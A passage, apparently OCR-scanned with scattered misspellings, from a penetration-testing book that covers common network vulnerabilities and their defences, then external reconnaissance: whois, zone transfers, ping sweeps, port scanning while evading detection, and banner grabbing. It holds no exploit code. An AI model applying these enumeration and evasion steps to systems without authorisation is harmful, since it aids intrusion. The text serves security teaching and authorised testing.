internal system should FTP to the DMZ system. In this way, if an attacker compromises a
DMZ system, he or she is less likely to be able to access the internal network.

The essential point is that network architectures need to be designed properly to enforce
proper security policies. Organizations should not allow DMZ systems to be dual-homed
connections to internal networks. Firewall rules should not permit external systems or DMZ
systems to connect to the internal network. [Chapter 2d describes network architecture in

greater detail.
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4.14 Network File System (NFS)

NFS is used for sharing files and drives on UNIX systems. Exported NFS systems that are
accessible to the Internet are an open target for hackers. Improperly configured
permissions on NFS shares can provide attackers with access to sensitive information or
write access. For instance, an attacker could write an entry to an “.rhosts” file to permit his
or her IP address to rlogin to the system. Additionally, there are other vulnerabilities
associated with NFS. Vulnerabilities within versions of the NFS daemon, “nfsd,” enable
attackers to access file systems with root privileges.

If NFS is needed, ensure it is configured properly. The ports used to access the networked
file shares, normally 2049, should be blocked at the firewall and filtering routers.
Additionally, permissions should be set appropriately to control access. Finally, you should
install the latest patches for the NFS services you are using. You should constantly monitor
for newly published vulnerabilities and system patches for NFS.
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4.15 NT Ports 135-139

File sharing on NT systems is just as vulnerable as on UNIX. NT systems share files and
communicate over NetBIOS ports 135-139. On Windows 2000 systems the
communications port is 445. All unnecessary ports should be blocked at the firewall, but
administrators should verify that these ports (135-139 and 445) are closed. These ports
allow for enumeration of users, open shares, and system information. In addition, these
ports enable attackers to use many of the “NET” commands listed in . Hackers
frequently scan the Internet for file-sharing ports 135-139, 2049, and 445. Any site with
these ports open will most likely become a target for attacks.
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4.16 NT Null Connection

Related to NT file sharing is the NT null connection, which we felt was important enough to
mention separately. A null connection consists of an anonymous connection with no
password to the NT default interprocess communication share IPC$. With a null
connection, attackers are able to connect to this IPC$ share and enumerate critical
information about the NT systems. Hackers can gather this information either manually
using NET commands or with tools such as DUMP SEC. Attackers are able to obtain a list
of all users on the system, their account statuses, account policies, share information,
registry settings, and other information that is useful in building attacks.

To defend against this attack, set the RestrictAnonymous registry key. This can be
accomplished by following the steps below.

1. Launch the regedt32 Registry Editor.

2. Locate the following registry key:

3. Create or modify the value of RestrictAnonymous. A REG_DWORD value of 1 will
enable this feature.

4. Exit the Registry Editor and restart the computer for the change to take effect. Null
connections can still be established but no information can be obtained.
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4.17 Poor Passwords and User IDs

One of the biggest vulnerabilities affecting systems today is weak passwords. This is a
problem that will go away only with the use of stronger authentication systems, such as
digital certificates, one-time passwords, and two-factor authentication. Even though there
are techniques for remembering secure passwords, users often select easy-to-remember,
insecure passwords. This is often due to a lack of security awareness and enforcement of
strong passwords. New password-cracking programs are so effective that any word in the
dictionary can be cracked in minutes. Simple permutations of dictionary words, such as
spelling them backwards, adding a number to the beginning or end of the word, and other
simple manipulations of the word, are almost as susceptible as the original dictionary word.
Users often make it even easier for hackers by selecting very simple passwords such as
names, dates, sports teams, or other significant facts that can be easily guessed.

System administrators are at times just as guilty as users in selecting poor passwords or
even sharing passwords. On several occasions, we have found administrator passwords
that were very simple so that several administrators could remember them. In addition, we
have encountered situations where system administrators did not regularly change the
administrator password because so many systems would have to be updated and many
other administrators notified. Thus, the accounts that are most powerful are frequently just
as easy to compromise. Administrators should belong to an “Admin” group with individual
passwords. On UNIX, each administrator should log into his or her own account and use
the su command to change to root.

Users and administrators need to select strong passwords consisting of metacharacters
and nondictionary words. Passwords should be set to expire often, and password history
should prevent users from reusing old passwords. One way to test password strength is to
use password-cracking tools such as LOpht Crack or John the Ripper (see Chaéter 1§ for

further information on password cracking). In addition, system administrators should use
utilities such as the NT passflt.dll to force users to select strong passwords. On Windows
NT, system administrators should also use Syskey encryption to further secure the
password files. Syskey adds a second layer of encryption to the password hashes on NT
systems, making them harder to obtain. On UNIX systems, administrators should use
password shadowing. Password shadowing makes the UNIX passwords accessible only to
root.

Poor passwords are just part of a larger problem involving weak authentication methods.



Many systems rely on user names and passwords, personal identification numbers, or
cookies (a digital identifier used by many Web applications to maintain sessions or identify
users) for authentication. These means of authentication can be easy to bypass, enabling
a hacker to obtain unauthorized access to an account, data, or services. Authentication
methods that securely identify users are key to improving security. Digital certificates,
public key infrastructure (PKI), biometrics, and smart cards are all examples of
authentication methods that are generally considered very secure. These improved
methods of authentication involve the principle of something you possess and something
you know. If your method of authentication relies solely on something you know (a
password) or something you possess (a token), either one could be stolen or
compromised. By requiring both means of authentication, something you know and
something you possess, or a biometric feature based on something you are (like a
fingerprint), the authentication process becomes much more secure. The problem is that
many of these authentication mechanisms are still being refined or are very expensive and
complex to implement.
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4.18 Remote Administration Services

Another common vulnerability originates from the method in which system administrators
manage remote systems. We have already discussed the insecurities of using FTP and
telnet, but other relatively secure remote control programs also have vulnerabilities
associated with them. We have come across several system administrators who use
programs such as pcAnywhere and Virtual Network Computing (VNC) for remote system
administration. Administrators might install these services with improper or insufficient
security controls. By exploiting these services, hackers could gain administrator access to
the systems.

If system administrators are going to use remote administration tools, they should make
sure the tools are secure. The tools should encrypt all communications, support strong
authentication, lock out accounts after several invalid login attempts, and support logging
to detect unauthorized access attempts. For desktop machines, the programs should force
the user to accept the remote connection before establishing it. In addition, access to these
remote administration programs should be limited to specific IP addresses of administrator
terminals.
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4.19 Remote Procedure Call (RPC)

RPCs are another system area where we commonly find new exploits. RPC enables a
remote system to communicate with a second system to execute programs. RPCs are
common in network environments, especially where file sharing such as NFS is being
used. Unfortunately, there are holes in RPC that enable hackers to exploit the service.
RPC vulnerabilities can be used for denial-of-service attacks or to enable attackers to gain
unauthorized access to the system.

Administrators should not use RPC services on systems directly connected to the Internet.
The firewall should block all RPC services so that remote attackers cannot access them

from the Internet. To defend against the internal threat, administrators should remove RPC
services from any system that does not need them. On systems that need RPC services, it
becomes critical to update and patch the system. Vulne’abiliti scanners and port scanners

can help identify RPC services running on the network. [Chapters 11| and [L3 cover these
tools in greater detail.
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4.20 SENDMAIL

Sendmail is another service that may install by default on some UNIX systems. While
sendmail is an SMTP implementation, it is deployed widely enough and has a sufficient
number of vulnerabilities so that we felt it should be covered independently. It has been a
favorite target for hackers over the years since there are numerous exploits associated
with it. The exploits include commands designed to send spam mail, to extract password
files, and to invoke a denial of service. Patches have been developed to address almost all
known vulnerabilities, and the latest versions of sendmail should include these patches.
There have been instances when sendmail was running on a system without the system
administrator's knowledge. Therefore, you may want to check the installed services and, if
it is there, remove it. If you do need sendmail, upgrade to the latest version and keep
current with patches.
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4.21 Services Started by Default

Many times when installing an application or even an operating system, services are
installed and started without the knowledge of the installer. For instance, some installations
of UNIX start several services, such as sendmail, FTP, rstat, rspray, and rmount, that are
not normally required and may open vulnerabilities on the system. Many installations of
Windows NT include Internet Information Server (lIS), even when it is not needed.
Turnover in the system administrator community is common, and the new system
administrator may not identify the services running on each system. Because of this, the
new system administrator may have no idea that vulnerable services are running on a
system. Penetration testing can often reveal services running on systems of which the
administrator was not aware. This information can be extrapolated to other systems to
secure similar installations.

Read the documentation to learn of any services that may be installed by the software
package and test the system after the installation. New system administrators should
determine what services are running on the servers for which they are responsible. In
addition, system administrators should periodically scan servers with port scanners to
verify no new services have been started. Finally, all unnecessary ports should be blocked
at the firewall so that a remote attacker on the Internet cannot access a service that was
mistakenly started.
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4.22 Simple Mail Transport Protocol (SMTP)

SMTP is another service that is a popular target since it is accessible from the Internet.
There are many different implementations of SMTP including sendmail, which we have
covered in its own category. Each implementation of SMTP has its own vulnerabilities, but
they are usually similar. The vulnerabilities involve commands designed to relay mail
through the server, buffer overflows, and denial-of-service attacks.

Patches have been developed to address most known vulnerabilities, and the latest
versions of the software should include these patches. System administrators should
constantly monitor for and apply the latest patches for their SMTP servers.

| |l@ve RuBoard g E 3




| l@ve RuBoard

4.23 Simple Network Management Protocol (SNMP) Community
Strings

Improperly configured SNMP devices can yield useful information to hackers or enable
them to gain unauthorized access to the network. SNMP is used to manage network
devices such as routers, hubs, and switches. SNMP devices can be configured for read
only or read/write SNMP access. Access to these privileges is controlled by the use of
relatively insecure community strings. A community string is essentially a password used to
access SNMP. The default community strings are set to “public” (read) and “private”
(read/write) and sometimes have been changed to another easily guessed word. Any user
who can access the SNMP device could supply the community string and gain access to
the SNMP device. If a user can gain write access to the device, he or she may be able to
reconfigure it, shut it down, or install unauthorized services as back doors. If a user can
only gain read access, he or she can still obtain valuable network and system information
that may enable the attacker to compromise the actual SNMP device or other hosts on the
network.

To defend against SNMP insecurities, system administrators should configure SNMP
devices to respond only to secret, unique, difficult-to-guess community strings. Additionally,
all SNMP access should be blocked at the firewall, and SNMP access should be controlled
through the use of access lists (ACLS) on internal and external routers. Information about

tools for testing SNMP can be found in Chapter 12.
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4.24 Viruses and Hidden Code

We have already discussed the amount of devastation viruses can wreak on systems.
Melissa, | LOVE YOU, Love Bug, and other viruses shut down companies for days to deal
with the cleanup and recovery from the virus. The threat from viruses varies with the type
of malicious activity they attempt to perform. Some viruses offer only simple annoyances,
while others enable remote attackers to gain unauthorized access to systems. The
widespread problems resulting from these viruses demonstrate hackers' abilities to hide
malicious code relatively well. It also shows how easy it is for users to unknowingly execute
this code and compromise the security of the company. Virus-scanning products are quite
advanced now, but the scanners are only as good as the virus definitions. Virus scanners
must be constantly updated. Additionally, many new viruses may not appear in the
database and may be missed. Virus-scanning tools that employ heuristics and sandboxes
should be used to attempt to catch these undefined viruses. Heuristics involve looking for
code or programs that resemble or could potentially be viruses. Sandboxes actually
execute the code in a quarantined environment and examine what the program does. If the
program appears to be a virus, the virus package quarantines the program and performs
an alert function. The heuristics and sandboxes hopefully catch any newly developed
exploits and viruses that may not have been included in the most recent virus definitions
update.

Hidden code is directly related to viruses. A hacker can trick users into executing hidden
code that will open access for the hacker into the internal network or system. The code
could be hidden a number of ways. Hackers can hide remote Java or Active X code on a
remote Web server. Users could unknowingly execute this code while browsing the site.
Hackers also frequently hide malicious code in e-mails or e-mail attachments. The
malicious programs and scripts commonly open holes in the victim's system, enabling the
hacker to effectively bypass firewalls and other perimeter controls and directly access the
internal network.

System administrators need to take a layered approach to defend against this threat. First,
users must be educated not to accept and open e-mail and attachments from unknown
sources. Perimeter virus and heuristics scanning should be installed at the network's
border to scan all incoming e-mail, attachments, and Internet downloads. E-mail and
Internet downloads should be scanned before they are allowed to enter the network. By
employing a layered scanning defense (heuristics, gateway scanning, and desktop
scanning), security administrators hopefully will be able to catch viruses that may have
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4.25 Web Server Sample Files

Almost every type of Web server software installs sample files by default. Microsoft IIS,
Apache, Cold Fusion, Netscape, and others all install sample files to assist in the
installation and maintenance of the server or to provide an example of how to use the
software. While these files are often useful to first-time developers or administrators, the
sample files are often susceptible to exploits. Several well-known exploits have been
developed for these sample files, such as the IIS Showcode.asp and others. Hackers
exploit the known code contained in these sample files to perform unauthorized functions.
Since the hackers have direct access to these files on other systems and know the exact
locations where the sample files will be placed on the server, they can develop detailed
surgical attacks targeting these files.

The best defense against these types of attacks is to remove all sample files on the Web
server. If the sample files are needed, move them to a different location and ensure that
they are not on production systems. In addition, scan the systems with a vulnerability
scanner to help identify vulnerabilities associated with the Web server software.
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4.26 Web Server General Vulnerabilities

There are many general vulnerabilities on Web servers such as Microsoft's IIS, Netscape,
Apache, and others. Since these systems are accessible from the Internet, they have been
targets for attackers. 1IS seems to have been a favorite target for hackers, but most
complex Web servers also have vulnerabilities associated with them. The vendors are very
responsive in providing patches to address new vulnerabilities as they are discovered.
However, if the patch is not applied quickly, the system is at risk. A quick search for
exploits associated with each of these Web-hosting applications yields several responses.
Many of these Web exploits enable attackers to gain administrative privileges over the
server.

Many of the popular vulnerability scanners are fairly accurate in detecting vulnerabilities on
Web servers. However, the safest way to ensure protection is to keep up to date on the
system patches.
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4.27 Monitoring Vulnerabilities

We have touched on many of the more common vulnerabilities found in today's computing
environment. There are numerous other vulnerabilities associated with operating systems
and applications. We have seen a common theme in our recommended procedures to deal
with each vulnerability—monitor for and install system patches as they become available.
Each month between 20 and 70 new vulnerabilities are published on the Internet. There is
a critical time period between the publication of the vulnerability and the application of the
patch that needs to be managed. In addition, security monitoring of intrusion detection
systems and system logs can detect attacks as they occur and enable the organization to
respond accordingly. Appropriate incident response procedures may prevent the attack
from being successful or may help to minimize and contain any potential damage.

While vendors are generally responsive in publishing newly discovered vulnerabilities and
the patches or procedures to address them, system administrators do not have time to visit
each vendor Web site on a daily or even weekly basis. There are mailing lists such as
CERT, Bugtraq, and others that will notify subscribers as new vulnerabilities are published.
However, the e-mails cover all systems and can be overwhelming to read and sort through.
Fortunately, there are services to help system administrators monitor and locate system
patches. Vulnerability subscription services provide information on the new vulnerabilities
as they become published. The level of information included with the services varies from a
straight listing of vulnerabilities to searchable databases to customized profiles that e-mail
you when a new vulnerability affecting your profile is published. Subscribing to or
monitoring one of these services is the only way to keep up to date with emerging
vulnerabilities. There are several free services that publish new vulnerabilities as they are

found. Sites such as Security Focus (Wwww.securityfocus.comnl), eSecurityonline

(Wwww.esecurityonline.comn), and the Computer Security Division of the National Institute for
Standards and Technologies (NIST) ICAT (bttg://csrc.nist.gov/icat, site, pictured in
-7, contain searchable databases of vulnerabilities. Searchable databases enable

administrators to look for new vulnerabilities related to products they use. Many of the
databases enable a user to search by operating system, application, severity, date, and
other fields.

Figure 4-2. ICAT vulnerability database
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While these searchable vulnerability databases provide a starting point for system
administrators trying to track new vulnerabilities, they do not completely solve the problem.
One of the biggest problems for the system administrator trying to monitor newly emerging
vulnerabilities is time. Even using sites that e-mail vulnerabilities tends to overwhelm
administrators with e-mail of vulnerabilities that do not pertain to the systems under their
control. Using services that are customizable and notify system administrators when a new
vulnerability emerges that affects their systems is a way administrators can save time in
addressing vulnerabilities on a regular basis.

Cutting down on the work involved with vulnerability monitoring is a step in the right
direction. However, to eliminate the exposures to new vulnerabilities, an enforcement
mechanism is needed to validate that identified vulnerabilities are addressed and repaired
in a timely manner. Testing using the techniques and tools described in this book is one
method of enforcement. Even these steps require quite a bit of structure and coordination
to be effective over time. Automated security scans and monitoring cut down on the time
required to determine whether security exposures have been addressed. Regular scans
using tools such as Cybercop, ISS Internet Scanner, or Nessus will help in this area.
Configuration management tools such as Symantec's Omniguard Enterprise Security
Manager (ESM) provide another enforcement mechanism. These tools are not cheap, but
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Chapter 5. Internet Penetration

This chapter begins our discussion of the general process for performing penetration
testing that we have developed during our experience. While the procedures discussed are
not set in stone and we never cease to examine and refine our own techniques, we would
like to stress that the approach laid out is both an efficient means of compromising a
network and an effective means of evaluating the security posture of that network.

That is not to say it is the only means of examining the security posture of a network. Other
security professionals have different and valid testing techniques. This process is one that
has proven to be effective.

Having a defined, organized methodology provides for an efficient penetration test with a
consistent level of detail. Professional consultants hired to perform penetration testing
attempt to compromise the target network during a given time period, often a matter of
weeks or even days. This is substantially different than hackers who can spend as much
time as they want in attempting to gain root access to a network. Therefore, we need a
well-defined methodology that allows us to systematically check for known vulnerabilities
and pursue potential security holes in the time allotted. In addition, following a single
methodology helps ensure a consistent level of reliability in results across multiple
engagements.

The overall methodology for penetration testing can be broken into a three-step process.
1. Network enumeration: Discover as much as possible about the target.
2. Vulnerability analysis: Identify all potential avenues of attack.

3. Exploitation: Attempt to compromise the network by leveraging the results of the
vulnerability analysis and following as many avenues identified as time allows.

Throughout our discussion of this process, we reference the tools we have found most
useful for accomplishing these tasks.
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5.1 Network Enumeration/Discovery

Before we can gain unauthorized access to a network, we have to know the topology of the
network. Every piece of information we can obtain about the target network adds a piece to
the puzzle. We specifically scan the target network to obtain a list of live hosts, as well as
to begin mapping the target to get a sense of its architecture and the kind of traffic (for
example, TCP, UDP, IPX) that is allowed. The goal of discovery is to start with no
information and gather as much data as possible about the target network and systems.
We then use this information to identify potential exploits.

The process of discovering this information is called network enumeration and is the first
step to an external penetration test. This step is performed largely over the Internet using
readily available software and publicly accessible repositories of information. Most of the
information we obtain in this step is freely available and legal to obtain. However, many
companies monitor who tries to get this information since it may indicate a prelude to an
attack.

5.1.1 Whois Query

Even before we begin the network scanning, we must determine the domain names and IP
address ranges that belong to the target organization. To simulate the scenario of an
external hacker, no prior information about the target organization should be provided to
the consultant to best determine the amount of information a hacker could obtain.
However, before moving to the second step of the process, all identified domain names
and IP addresses should be verified with the target organization to ensure they are owned
by the organization and are part of the scope of the exercise.

To determine the IP address ranges associated with the client, we perform an Internet
whois query. The command can be run natively on most UNIX environments (check

for usage and version-specific syntax). For the Windows environment, Ws PingPro
Pack and Sam Spade are two tools that can be used to perform whois queries. (These

tools are discussed in [Chapter 14.)

Whois gqueries can also be made over the Web from www.arin.nef and

Wwww.networksolutions.com/ Figure 5-1f shows the whois query from the Network Solutions

site (without the domain servers) for the domain klevinsky.com
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Figure 5-1. Whois query for klevinsky.com
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A whois query provides the administrative contact, billing contact, and address of the target
network. The administrative and billing contact information can be useful for performing
social engineering attacks on the employees of the target network (see ).

The whois query provides IP address ranges that are associated with the name you enter.
Some ranges may be returned that belong to a separate organization with a similar name.
For example, the partial results of a whois query on company reveal registered IP
addresses for a collection of firms whose names include the word company but may not be
the target organization.


http://../klevinsky.com/default.htm

Of the multiple IP ranges that do belong to the client, a portion may belong to different
divisions of the client's organization and lie outside the scope of the engagement. The
targets for the engagement should be verified when this information is found.

Whois queries return only the first 50 items that match the query. This is implemented by
Internic to limit the search time. As the listings of Internet domains grow, the task of
searching all listings and returning all possible matches becomes more computationally
intensive.

If the target company has more than 50 listings that interest you, you may have to engage
In some creative searching. One idea is to break up the names of the company or search
for plurals or modified company names. Find the names of subsidiary organizations (press
releases on the target company's Web site are a good place to look) and search for those
names as well.

5.1.2 Zone Transfer

A whois query also returns the list of domain name servers that provide the target
network's host name and IP address mapping. (This information, along with the contact
information, is found by clicking on the Net Block name associated with the listing.) To
obtain the network IP listing, we want to attempt a zone transfer against each system
identified as a DNS server. A zone transfer requests the complete list of matched IP
addresses and host names stored within a DNS for a specified domain.

A zone transfer can be performed with the nslookup command that is supported by both
the UNIX and Windows platforms. Sam Spade, Ws PingPro Pack, and NetScan Tools on
the Windows operating system all provide a graphical user interface (GUI) for performing a
zone transfer. In order to perform a zone transfer, we have to use a DNS server that is
authoritative for the domain of interest; therefore, we use the domain name servers
identified through the whois query. Techniques for performing zone transfers are covered
in Chapter 12.

The zone transfer returns a listing of IP addresses and their corresponding host names. A
typical listing may look something like this:

Is -d abc.com

[server.abc.com]

abc.com. SOA server.abc.com
admin.abc.com. (200000068 300 800 359100 4700)



abc.com. A 10.10.10.30

abc.com. NS server.abc.com

abc.com. MX 10 mail.abc.com

business A 10.10.10.11

application A 10.10.10.32

mailsweeper A 10.10.10.50
mimesweeper CNAME server4.abc.com
server4 A 10.10.10.40

abc.com. SOA server.abc.com
admin.abc.com. (200000068 300 800 359100 4700)

Machine host names often indicate the function of the machine. For instance, the corporate
firewall machine is often called “firewall” or the name of the firewall running, such as

“Gauntlet” or “Firewalll1.” Similarly, we have seen some equally revealing machine names,

tp.companyname.com,

such as “mail.companyname.con,” “smtp.companyname.com,

“dns01.companyname.com,” ‘hs01.companyname.com,” and

eb03.companyname.com.

These names not only offer strong evidence of their main function but also indicate the
presence of other machines. For example, if there is a web03 machine on a particular
network, there stands to reason that a web01 and a web02 may also exist. If there is an
ns01 machine, there may also be ns and ns02 machines. In light of this, names of sports
teams, famous people, and cartoon characters have been used as good machine names.
They are easy to remember, and they do not give away any technical information.

When doing a zone transfer, keep in mind that often the DNS server does not have a
complete listing for all the target network's hosts. Several machines may be using DHCP,
and the company may use separate domain name servers for separate domains. Also, its
DNS may not support zone transfer requests from unauthorized hosts, allowing them only
from the backup name servers within the organization. Therefore, you should attempt zone
transfers against all the target network'’s identified domain name servers. One may offer at
least a partial listing.

We have also seen companies outsource the domain name function or use their ISP's DNS
server. In our experience, performing a zone transfer against a DNS server or any machine
belonging to an ISP or a third party is generally not received well by those third parties. In
that case, we usually omit this step unless we have the written consent of both the target
organization and the third party. In these situations, make sure the terms of the penetration
test clearly state whether or not the hosted systems are within the scope of the
engagement.

On the other hand, DNS machines that belong to the client organization but are not a part
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of the IP address range are specifically within scope and are valid targets of a zone
transfer as long as there is a reasonable chance that that DNS will offer information
regarding the within-scope target domain. This is because an Internet-based penetration
relies on using information that lies in the public domain or is publicly accessible.

This usually occurs when the target comprises one or more domains within a large
organization. The main DNS server for the organization will likely have a partial listing of
the hosts in the target domain even if it lies outside that domain.

Unlike the whois query, a zone transfer is fairly indicative of hacker activity since there
really is no need for the general user to have this information. Therefore, someone making
this query against a DNS server is probably a potential attacker. For that reason, we
suggest exercising good judgment before performing these queries. Zone transfers may
indicate to the network staff the beginning of a penetration test against the network.

5.1.3 Ping Sweeps

Our next step is to ping the discovered IP addresses to see if they are “up” or “live.” There
are a variety of ways to ping a set of IP addresses. The most commonly used is the
traditional ICMP ping (with echo requests or echo replies messages), but gaining popularity
is a TCP ping (with a full or half TCP handshake). Many sites have taken the security step
of restricting ICMP traffic or blocking it at the border firewall and router, limiting their
exposure to the traditional ping. However, a TCP ping may still be allowed on the network.

Over time, organizations have become more adept at blocking a ping sweep, and
countermeasures are becoming more prevalent. While you can assume with some amount
of confidence that a host that sends an ICMP response to an ICMP echo request is active,
it is not always true that a host that fails to send such a response is necessarily down. The
host may be down, or ICMP traffic to that host may be filtered and the ping request simply
did not reach it. False responses can also be sent to ICMP echo requests by perimeter
security devices.

Depending on the level of stealth you are seeking in your pinging activity, there are a
variety of steps you can take to remain beneath the radar of an intrusion detection system
that may be monitoring network traffic. While these steps are discussed in greater detail in

the section on Nmap in Chaéter 12, it is worth mentioning that randomizing the order of the
IP addresses being pinged helps avoid detection, as do varying the time between sending
ping packets and dividing the IP addresses into multiple groups (this is most helpful for
large numbers of hosts, that is, over 100).



The ping utility exists natively on most operating systems and can be performed from a
large collection of tools. One of the most popular is Nmap because of its configuration, its
ease of use, and the other features it includes (TCP ping, port scanning, OS identification).
For the Windows environments, Pinger and Ws PingPro Pack are both effective tools for
performing ping sweeps. (In addition, a Windows-compatible version on Nmap is currently
under development.) Pinger strictly pings a set of IP addresses while Ws PingPro Pack
provides additional functionality through a suite of tools.

Ping sweeps are generally not considered to be evidence of harmful intent to hack a
system. However, they can be irritating or destructive if they become excessive; for
example, ping each box on a Class C network every 30 seconds for 8 hours and see how
that affects bandwidth.

5.1.4 Traceroute

In order to come up with a rough map of the client architecture, we trace the route to
several of the live hosts. This is a tedious process, but it does help identify the routers,
firewalls, load-balancing devices, and other border machines in place on the target
network. In addition, it helps identify hosts that are on separate segments. Hosts on
separate segments may be managed by different individuals and may have trust
relationships that can be exploited to compromise the system.

A traceroute marks the path of ICMP packets from the local host (where the command is
executed) to the destination host. It is available as a command line tool on both the UNIX
(traceroute) and Windows (iracert) operating systems. In addition, the Windows-based tool
VisualRoute performs this service as well as mapping the path over a map of the world.
(VisualRoute is discussed in .)

We perform traceroutes on several IP addresses within the same Class C address block to
see if the ICMP packets follow the same path. We are interested in seeing the hops just
prior to the target. These hops may represent routers, firewalls, or other gateways. If
several hosts have the same prior hop, it is probably a router or firewall. If there is a
common host after which ICMP packets can no longer be seen, that too may be the firewall
or filtering router. Also, a common host in front of a bank of Web servers may be a
load-balancing device or a Web redirector.

If you notice that packets to some hosts on the network segment follow an alternate path,
you may have discovered new gateways into the target network. It is not uncommon for
network segments to have multiple connections to the Internet—unbeknownst to network
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5.2 Vulnerability Analysis

Vulnerability analysis, sometimes called vulnerability scanning, is the act of determining
which security holes and vulnerabilities may be applicable to the target network. In order to
do this, we examine identified machines within the target network to identify all open ports
and the operating systems and applications the hosts are running (including version
number, patch level, and service pack). In addition, we compare this information with
several Internet vulnerability databases to ascertain what current vulnerabilities and
exploits may be applicable to the target network.

Given the time constraint we may be under during an engagement and the number of
hosts within scope, it may be necessary to focus initially on critical hosts. However, if any
paring down of the target list needs to be done, it is usually done during the next step.

Note: It is important to take into consideration that the ping results do not authoritatively
show that a host is down. In light of this, if there is any doubt as to whether the target(s) are
effectively filtered or protected from ping or are actually down, we recommend continuing
with a port scan. Keep the number of ports in such scans down as these scans tend to take
a longer amount of time. If it is necessary to scan a large number of ports on unresponsive
hosts, it is best to do this overnight.

At the end of this stage, we like to be able to document all target hosts (alive and
otherwise) in a table along with the OS, IP address, running applications, any banner
information available, and known vulnerabilities. This information is useful both during the
exploitation stage and for presentation to the client so that the client becomes aware of the
vulnerabilities on the network and the amount of information an outsider can gather prior to
compromising the network.

5.2.1 OS Identification

By identifying the operating system, we can attempt to predict services that may be running
on the host and tailor our port scans based on this information. Nmap, the leading tool used
to perform OS identification, does this by analyzing the response of the target's TCP stack
to the packets Nmap sends out. Various RFCs govern how the TCP stack should respond
when queried. However, implementation details are left to the vendor. Therefore,
differences in how vendors satisfy the RFCs allow them to be identified. While this method
is not foolproof, Nmap's OS detection is fairly reliable and well accepted by industry.



Changing a computer's OS signature is possible but not trivial, and it has not been our
experience that companies perform this level of masking.

OS identification goes a long way in performing network enumeration and vulnerability
scanning. As soon as we know the OS of a particular machine, we can begin to generate a
list of potential holes and vulnerabilities—often from the vendor's own Web site. For
example, as soon as we know a machine is Windows NT, we can check whether TCP port
139 is open and attempt a null connection to the IPC$ share. If we identify a UNIX box, we
can look for the X Windows ports (6000—6063).

5.2.2 Port Scanning

Port scans attempt to determine whether a listening service is listening on a given port.
There are many variations in performing a port scan. We describe those that have been
the most useful for us. Depending on the level of stealth you want to maintain, there are a
variety of scan types you can use, TCP SYN scan is the most popular of the stealthy port
scans and is covered in more depth under the Nmap section of Chaéter 13.

A scan of all possible ports (1-65535) is the most comprehensive and offers the most
information on the target, but it also is the most time consuming and maximizes the
chances of being identified by the target. Such a port scan is usually performed only by
beginner hackers. If you do elect to scan all ports, we strongly recommend that the scan be
performed over several sessions, each with a smaller port range. Often we perform a
comprehensive scan at the end of the engagement when stealth is no longer necessary.
This helps identify any services that we may have missed during the surgical port scans.

If you are not attempting to avoid detection and are just trying to identify weaknesses in the
target system (for example, if your client's security staff is fully aware of your penetration
testing efforts), then there is no problem with scanning all ports at once. However, it will
take a long time to return information. The test becomes more efficient if you can review
results while simultaneously scanning new systems.

Luckily, there are several alternatives to a full port scan. We can stick to the basic known
ports, 1-1024, and add a few other ports we know to be relevant to the client, such as the
X Windows ports (6000-6063) on a UNIX machine. Reviewing the /etc/services file on a
UNIX machine also provides a good listing of ports to scan. We can also create a list of
ports that support applications with known vulnerabilities we may wish to exploit, such as
FTP, telnet, and RealSecure (ports 21, 23, and 2998, respectively). Most scanners give
you the ability to scan both TCP and UDP ports. Often, UDP ports are simply ignored since



they are less common, but they can be just as vulnerable. Since UDP is a connectionless
protocol, UDP port scans are generally considered less reliable.

Ultimately, you should develop a port list that you are comfortable using on any given
network and modify the list to fit the particular network you are going to scan. Specifically,
create a generic list, and remove NT-specific ports for a UNIX network or vice versa. Nmap
Is distributed with a port list of several known ports and can serve as a starting point for
such a generic list. (Additional port lists are also available on various hacker sites; see
Chaéter 22.) To this list, add ports each time you find another one that is associated with

an application featuring a vulnerability you are aware of or a security hole you can exploit.
Remove ports that are not related to weaknesses, vulnerabilities, or information gathering.
While maintaining such a list demands continuous testing, the more port scanning you do,
the more relevant the information your own list will return.

As previously mentioned, on UNIX environments, Nmap is the tool of our choice for port
scanning and is considered to be the premier port scanner available (as well as a reliable
OS detection tool). SuperScan and 7th Sphere are effective port scanners for the NT
environment but do not include OS detection. (As mentioned, an Nmap for the Windows
environment is under development.)

The use of these tools is discussed in depth in Chaéter 13, so we will avoid repetition here.
However, displays Nmap results for a scan of TCP and UDP ports on a single
Linux host.

Figure 5-2. Sample Nmap results
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Port scanners generally ping hosts before scanning and only scan those hosts that respond
to pings. If there is any doubt as to the validity of the ping results, then set the port
scanners to scan hosts unresponsive to ping. As a consequence, the port scanning will
take more time.

The legality of port scanning has long been a topic of discussion in the security community.
Some professionals have indicated port scanning is no more than driving down a street
looking at houses and noticing which windows are open. However, port scanning without
permission is clearly unethical and will always be alarming as a possible prelude to an
attack.

5.2.3 Application Enumeration

From the results of port scanning, we gain a list of open ports on the target machines. An
open port does not entirely indicate what listening service may be active. Ports below 1024
have been assigned to various services and if these are found open, they generally
indicate the assigned service. Additionally, other applications have been run on certain
ports for so long that they have become the de facto standard, such as port 65301 for
pcAnywhere and 26000 for Quake. Of course system administrators can change the port a



service runs on in an attempt to “hide it” (an example of security through obscurity).
Therefore, we attempt to connect to the open port and grab a banner to verify the service
running.

Knowing which applications the target hosts are running goes a long way toward
performing vulnerability analysis. Just as with knowing the OS, we can run the list of
applications through the Internet and find a list of known vulnerabilities and exploits for
these applications—again, often from the vendors themselves.

Application enumeration also involves banner grabbing. Several applications (including
telnet, FTP, HTTP, SNMP, and a host of others) identify themselves and their version in
their user name/password challenge screen. This information is called a banner and is
very helpful in identifying running applications. We generally record any banners we come
across during our penetration testing. This can be done with many applications, including
netcat, which runs on either the UNIX or Windows command line; telnet; and What's
Running, a Windows GUI tool that is covered in Chaéter 12 and shown in

Figure 5-3. Screen shot of What's Running
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A benefit of What's Running is that the banner is placed in a window from which it can be
copied into a file or edited.



5.2.4 Internet Research

Once the list of applications is known, the next step is to research the list and determine
what vulnerabilities exist. As you perform penetration tests, you become familiar with
certain popular vulnerabilities and can quickly determine whether an application is
vulnerable. However, it is important to keep in mind that new vulnerabilities are posted on a
daily basis, and you should check your favorite vulnerability databases for all the
applications, services, and operating systems you find on each engagement.

Chaéter 22 contains a list of Internet sites with vulnerability databases. The popular ones
are the Bugtraq lists, Packetstorm (www.packetstormsecurity.ord), and SecurityFocus

(Wwww.securityfocus.com). You will become comfortable with these and other sites that offer
the ability to quickly search for vulnerabilities. Even though there is some amount of
duplication among them, you may want to check multiple sites since no one repository is
entirely comprehensive. Each site has its own network of users and supporters who update
the databases.

Once we have identified vulnerabilities and documented them in our table, we download
the exploit code (if applicable) to use in the next phase of the penetration test.
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5.3 Exploitation

Once the list of vulnerabilities has been identified, the next step is to proceed to exploit the
vulnerabilities in an attempt to gain root or admin-level access to the target systems.

